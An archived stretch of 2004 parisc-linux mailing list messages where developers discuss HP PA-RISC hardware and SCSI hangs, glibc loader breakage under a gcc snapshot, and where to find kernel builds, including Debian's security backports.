> <-PCI-> Elroy <-Ropes/      PA <-+-> PA        PA <-+-> PA       \Ropes-> Elroy
> 
> So the RAM is uniformly-accessible from all CPUs, but the IO is not.

That is also what I believe to have understood from our previous talk about N Stretch mmu
(but I am never sure to well undertand, thanks to confirm)

> 
> If you look at pat_memconfig() in arch/parisc/kernel/inventory.c, you'll
> see how we try to figure out what memory ranges are in the machine.
> Want to try debugging that, see what's being reported by firmware?
> 
I will try.

Many thanks,
	Joel


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Hanging with kernels >= 2.4.22
Date: Sat, 21 Feb 2004 18:24:36 +0000
Lines: 23
Approved: news@gmane.org
Message-ID: <20040221182436.GM11824@parcelfarce.linux.theplanet.co.uk>
References: <20040218235225.GA1623@calypso>
	<20040219062907.GC13916@colo.lackof.org>
	<20040221075849.GA1642@calypso>
	<20040221170508.GB14198@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623211 5783 80.91.229.3 (22 Nov 2014 02:26:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: willy@www.linux.org.uk  Sat Feb 21 11:24:38 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5A9494852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 11:24:38 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1Aubno-0006oS-Hg; Sat, 21 Feb 2004 18:24:36 +0000
Content-Disposition: inline
In-Reply-To: <20040221170508.GB14198@baldric.uwo.ca>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 18:24:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20897

On Sat, Feb 21, 2004 at 12:05:09PM -0500, Carlos O'Donell wrote:
> > Thanks! Changing NCR_700_MAX_TAGS to 1 in drivers/scsi/53c700.h did the
> > trick. Will I now have poor disk performance? If so, might I get away
> > with setting it to something higher, like 2 or 4, maybe?
> 
> I could never run IO stably at anything higher than 1. The drives don't
> seem to handle it properly, the error recovery mechanisms seem less
> than perfect, and the box just hangs.

So, um, maybe we should change the default?  Nobody seems to be
investigating why this happens, so I don't see why our users should
suffer.  I doubt anyone's going to be terribly motivated to track this
problem down for such old machines, so let's just sacrifice a little
performance for stability.

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Joel Soete <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb: followup
Date: Sat, 21 Feb 2004 19:01:39 +0000
Lines: 48
Approved: news@gmane.org
Message-ID: <4037AB13.3050908@tiscali.be>
References: <402A42A1000052A9@ocpmta1.freegates.net>
	<Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
	<20040218163927.GC9497@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623211 5785 80.91.229.3 (22 Nov 2014 02:26:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:51 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Carlos O'Donell <carlos@baldric.uwo.ca>
Original-X-From: soete.joel@tiscali.be  Sat Feb 21 12:01:24 2004
Return-Path: <soete.joel@tiscali.be>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolo1.tiscali.be [62.235.13.210])
	by dsl2.external.hp.com (Postfix) with ESMTP id D3DFB4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 12:01:23 -0700 (MST)
Original-Received: from [62.235.121.212] (helo=tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali.be http://www.tiscali.be)
	id 1AucND-0000gq-JX; Sat, 21 Feb 2004 20:01:11 +0100
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US;
	rv:1.6) Gecko/20040122 Debian/1.6-1
X-Accept-Language: en
In-Reply-To: <20040218163927.GC9497@baldric.uwo.ca>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sat, 21 Feb 2004 19:01:24 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20898

Carlos,

Carlos O'Donell wrote:
>>>But now I need more to try to complete job because:
>>>make[2]: *** [/Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.stmp]
> 
> 
> This is the first time that the loader you built is used. If the loader
> is in anyway broke, it will *always* die here first. Just remember this
> glibc haiku when you are coding:
> 
> 	Loader code is bad.
> 	Dying in sunrpc.
> 	Blame relocations.
> 
> :)
> 
It takes me some more time because I would test patch by patch with gcc-3.3 if nothing was broken.
But all those patch seems ok with gcc-3.3 (just have to revert it and re-run with make -k check ;) )

That said, I so have on a system (a n4k runing a 64bit 2.6) a ld.so and libc.so build with gcc-3.5 (let me suffix with (3.5) ie: 
ld.so(3.5) and libc.so(3.5)). On another system (a b2k the same 64bit 2.6), I build with gcc-3.3.3 a ld.so(3.3) and libc.so(3.3).

The cmd:
CPP='/Develop/parisc-linux/xc/bin/hppa-linux-gcc -E -x c-header'  /Develop/parisc-linux/build/glibc/elf/ld.so.1
--library-path 
/Develop/parisc-linux/build/glibc:/Develop/parisc-linux/build/glibc/math:/Develop/parisc-linux/build/glibc/elf:/Develop/parisc-linux/build/glibc/dlfcn:/Develop/parisc-linux/build/glibc/nss:/Develop/parisc-linux/build/glibc/nis:/Develop/p
arisc-linux/build/glibc/rt:/Develop/parisc-linux/build/glibc/resolv:/Develop/parisc-linux/build/glibc/crypt:/Develop/parisc-linux/build/glibc/linuxthreads
/Develop/parisc-linux/build/glibc/sunrpc/rpcgen -Y ../scripts -c rpcsvc/bootparam_prot.x
-o /Develop/parisc-linux/build/glibc/sunrpc/xbootparam_prot.T

failled with gcc-3.5
otc ok with gcc-3.3

Now if on the N I replace libc.so(3.5) by libc.so(3.3) the cmd (ie using ld.so(3.5)) always failled
OTC if on the B I replace libc.so(3.3) by libc.so(3.5) the cmd (ie using ld.so(3.3)) works fine.
so it confirms that the loader is broken :(

So I have to figure out what goes wrong in "relocation". Can you help me by pointing out some files and may functions to specialy 
analyse :).

Thanks in advance,
	Joel

BTW: The previous mentioned patch are (afaik) of general interest (not hppa specific) but would you like that I submit you first 
so that you could submit it to glibc maintainers or do you prefer that i manage that myself?



From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: can't compile 2.4.24: pdc_cons.o problem!
Date: Sat, 21 Feb 2004 17:52:41 -0700
Lines: 31
Approved: news@gmane.org
Message-ID: <20040222005241.GA30849@colo.lackof.org>
References: <1077183184.403482d04a190@clients.latnet.lv>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623212 5786 80.91.229.3 (22 Nov 2014 02:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: dub@latnet.lv
Original-X-From: grundler@lackof.org  Sat Feb 21 17:52:43 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id B584D4852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 17:52:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C4626298063; Sat, 21 Feb 2004 17:52:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31148-05; Sat, 21 Feb 2004 17:52:41 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CEE6329805A; Sat, 21 Feb 2004 17:52:41 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <1077183184.403482d04a190@clients.latnet.lv>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 00:52:44 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20899

On Thu, Feb 19, 2004 at 11:33:04AM +0200, dub@latnet.lv wrote:
> BTW, it's not possible to navigate to
> http://cvs.parisc-linux.org/download/ from  http://cvs.parisc-linux.org/

I think that's ok. It's just convient to build the kernels
on the same machine that's hosting CVS. It's not obvious to
me a link from cvs.p-l.o is needed since we have a link from
the www.p-l.org navigation bar.

www.p-l.o has a "Prebuilt binaries" in the navigation bar.
And from there, a link to the cvs.p-l.o/download/autobuild-kernels/. 
I'll add links for linux-2.4 and linux-2.6 kernel downloads.


> How to find out status of pasisc-linux.org kernels? (stable vs testing)

Normally, follow the conversations on parisc-linux mailing list.
I don't know how useful bugs.debian.org is for kernel packages.
"stable" hppa kernel is horridly stale (kernel-image-2.4.18*).
Because of security bugs, folks should be using at least 2.4.24.
(2.4.25 is the lastest available, not).
2.6 kernels seem to be working well for me (except for SMP).
But it looks like the most recent debian upload was 2.4.21 based.

I see that http://cvs.parisc-linux.org/downloads/autobuild-kernels/32/
has a Packages.gz. But I don't know how the sources.list entry needs
to look for apt-get to find it.

hth,
grant


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] HP A3312A High Availability Jamaica storage arrays
Date: Sat, 21 Feb 2004 18:01:31 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <20040222010131.GB30849@colo.lackof.org>
References: <40351470.90F0B475@cypress-tech.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623212 5787 80.91.229.3 (22 Nov 2014 02:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:52 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Jesse Dougherty <jesse@cypress-tech.com>
Original-X-From: grundler@lackof.org  Sat Feb 21 18:01:33 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 2DCC24852
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 18:01:33 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 9063B29805A; Sat, 21 Feb 2004 18:01:32 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 31242-06; Sat, 21 Feb 2004 18:01:32 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id F04AA298059; Sat, 21 Feb 2004 18:01:31 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <40351470.90F0B475@cypress-tech.com>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 01:01:33 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20900

On Thu, Feb 19, 2004 at 02:54:24PM -0500, Jesse Dougherty wrote:
> If anyone wants any, we are giving them away, I only ask
> that you pay for shipping out of Tampa (33762).

That's generous! Thanks!
(I have several sitting here and can reccomend them)

> They take either FWD or SE drives and the capacity is 8 low profile
> drives.

FYI, the disks inside are *USUALLY* Single Ended (ie LVD) SCSI with 80pin
SCA connectors. An additional circuit in the disk "carrier" (aka "sled")
converts to HVD or forces to SE mode. I'm using 73G SCSI drives in such
a Jamaica disk enclosure today. Problem is HVD and SE SCSI only support
up to 40 MB/s.

IIRC, this was the first HP disk enclosure which supported hotplug on HPUX.

grant


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: can't compile 2.4.24: pdc_cons.o problem!
Date: Sun, 22 Feb 2004 01:20:33 +0000
Lines: 42
Approved: news@gmane.org
Message-ID: <20040222012033.GN11824@parcelfarce.linux.theplanet.co.uk>
References: <1077183184.403482d04a190@clients.latnet.lv>
	<20040222005241.GA30849@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623212 5789 80.91.229.3 (22 Nov 2014 02:26:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:52 +0000 (UTC)
Cc: team@security.debian.org, dub@latnet.lv,
	parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: willy@www.linux.org.uk  Sat Feb 21 18:20:38 2004
Return-Path: <willy@www.linux.org.uk>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk
	[195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id E339F4908
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 18:20:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.22)
	id 1AuiIM-0003U6-3E; Sun, 22 Feb 2004 01:20:34 +0000
Content-Disposition: inline
In-Reply-To: <20040222005241.GA30849@colo.lackof.org>
User-Agent: Mutt/1.4.1i
Original-Sender: <willy@www.linux.org.uk>
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 01:20:38 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20901

On Sat, Feb 21, 2004 at 05:52:41PM -0700, Grant Grundler wrote:
> Normally, follow the conversations on parisc-linux mailing list.
> I don't know how useful bugs.debian.org is for kernel packages.
> "stable" hppa kernel is horridly stale (kernel-image-2.4.18*).
> Because of security bugs, folks should be using at least 2.4.24.
> (2.4.25 is the lastest available, not).
> 2.6 kernels seem to be working well for me (except for SMP).
> But it looks like the most recent debian upload was 2.4.21 based.

Wups, a common misconception by people not used to how Debian does things.
The Debian 2.4.x kernels receive backported security fixes rather than
just updating to the most recent version.  I can't say I entirely agree
with this policy, but it is how Debian security works.

See http://www.debian.org/security/ for announcements of newer
kernel versions.  For some reason, there's no 2.4.18-hppa update yet.
I don't know why that is, but I presume someone's working on it.

team@security.debian.org added to the cc list, in case there's anything
I can do to help.  Please remove them from the CC list if your reply
won't be of interest to them.

> I see that http://cvs.parisc-linux.org/downloads/autobuild-kernels/32/
> has a Packages.gz. But I don't know how the sources.list entry needs
> to look for apt-get to find it.

Something like:

deb http://cvs.parisc-linux.org/downloads/autobuild-kernels/ 32/

should do the trick, but I think you have the URL wrong.  I get:

/downloads/autobuild-kernels/32: unknown location

-- 
"Next the statesmen will invent cheap lies, putting the blame upon 
the nation that is attacked, and every man will be glad of those
conscience-soothing falsities, and will diligently study them, and refuse
to examine any refutations of them; and thus he will by and by convince 
himself that the war is just, and will thank God for the better sleep 
he enjoys after this process of grotesque self-deception." -- Mark Twain


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] b2k scsi disk pb
Date: Sat, 21 Feb 2004 20:23:58 -0700
Lines: 26
Approved: news@gmane.org
Message-ID: <20040222032358.GC30849@colo.lackof.org>
References: <402A4CA500006E8D@ocpmta2.freegates.net>
	<Pine.LNX.4.58.0402201900540.26386@sal.ucc.ie>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623213 5791 80.91.229.3 (22 Nov 2014 02:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:53 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@lists.parisc-linux.org
To: "M. Grabert" <xam@cs.ucc.ie>
Original-X-From: grundler@lackof.org  Sat Feb 21 20:23:59 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABCD148C7
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 20:23:59 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id 215F429805A; Sat, 21 Feb 2004 20:23:59 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 32754-03; Sat, 21 Feb 2004 20:23:58 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 7EC0F298059; Sat, 21 Feb 2004 20:23:58 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <Pine.LNX.4.58.0402201900540.26386@sal.ucc.ie>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 03:24:00 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20902

On Fri, Feb 20, 2004 at 07:07:19PM +0000, M. Grabert wrote:
> 
> > sym0:5:0: ABORT operation timed-out.
> > sym0:5:0: DEVICE RESET operation started.
> > sym0:5:0: DEVICE RESET operation timed-out.
> > sym0:5:0: BUS RESET operation started.
> > sym0: SCSI BUS reset detected.
> > sym0: SCSI BUS has been reset.
> > sym0:5:0: BUS RESET operation complete.
> >
> > and during this time the system naturaly hang.

The "hang" is because no IO's are processed until 3 seconds
after the BUS RESET is issued.

> Got rid of it by not using the SE-SCSI driver ;)
> Try to physically detach the (not-used) ST336704LC.

I was pretty sure "LC" suffix meant LVD with SCA 80 pin connector.
Specs on seagate.com are easy to find if you know the model.

If both internal devices are LVD, check early sym2 dmesg output
to verify the SCSI bus is operating in LVD mode (vs SE).

grant


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Linux only see 2Gb of ram of N4k
Date: Sat, 21 Feb 2004 22:49:42 -0700
Lines: 29
Approved: news@gmane.org
Message-ID: <20040222054942.GD30849@colo.lackof.org>
References: <402A4CA500006EA3@ocpmta2.freegates.net>
	<20040220182140.GC11824@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623213 5793 80.91.229.3 (22 Nov 2014 02:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: grundler@lackof.org  Sat Feb 21 22:49:43 2004
Return-Path: <grundler@lackof.org>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by dsl2.external.hp.com (Postfix) with ESMTP id 59666488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 22:49:43 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP
	id C009929805A; Sat, 21 Feb 2004 22:49:42 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo [127.0.0.1]) (amavisd-new, port 10024) with ESMTP
	id 01614-05; Sat, 21 Feb 2004 22:49:42 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 19BA1298059; Sat, 21 Feb 2004 22:49:42 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20040220182140.GC11824@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.3.28i
X-Home-Page: http://www.parisc-linux.org/
X-Virus-Scanned: by amavisd-new-20030616-p7 (Debian) at lackof.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
X-List-Received-Date: Sun, 22 Feb 2004 05:49:43 -0000
Xref: news.gmane.org gmane.linux.ports.parisc:20903

On Fri, Feb 20, 2004 at 06:21:40PM +0000, Matthew Wilcox wrote:
> Unlikely.  As I recall, the N4k diagram looks like this:

Beautiful diagram! (I'm saving that one)
And I confirmed it is correct in case anyone had doubts.
(I did)

> So the RAM is uniformly-accessible from all CPUs, but the IO is not.

I don't think there is much penalty for CPU's to access MMIO space
on "the other side". MMIO reads are so expensive anyway, I'd doubt
it would make that much difference.

> If you look at pat_memconfig() in arch/parisc/kernel/inventory.c, you'll
> see how we try to figure out what memory ranges are in the machine.
> Want to try debugging that, see what's being reported by firmware?

I'm pretty sure it will look like this:
RAM      Phys Address
0-2GB -> 0-2GB
      -> 2-4GB I/O Space (mostly PCI MMIO)
2-4GB -> 4-6GB (courtesy of the memory controller)

The N-class was the first box which has an I/O hole from 2-4GB
physical address range. I hope Joel will be able to confirm this.
If not, I likely have documentation to confirm this.

grant


From - Thu Nov 08 21:31:00 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] glibc-2.3.3 & gcc-snapshot (3.5.0) pb: followup
Date: Sun, 22 Feb 2004 01:00:02 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <20040222060002.GI25019@baldric.uwo.ca>
References: <402A42A1000052A9@ocpmta1.freegates.net>
	<Pine.GSO.4.44.0402180830260.14838-100000@keymaster>
	<20040218163927.GC9497@baldric.uwo.ca>
	<4037AB13.3050908@tiscali.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416623213 5795 80.91.229.3 (22 Nov 2014 02:26:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:26:53 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: carlos@baldric.uwo.ca  Sat Feb 21 23:01:17 2004
Return-Path: <carlos@baldric.uwo.ca>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3DB22488A
	for <parisc-linux@lists.parisc-linux.org>;
	Sat, 21 Feb 2004 23:01:17 -0700 (MST)
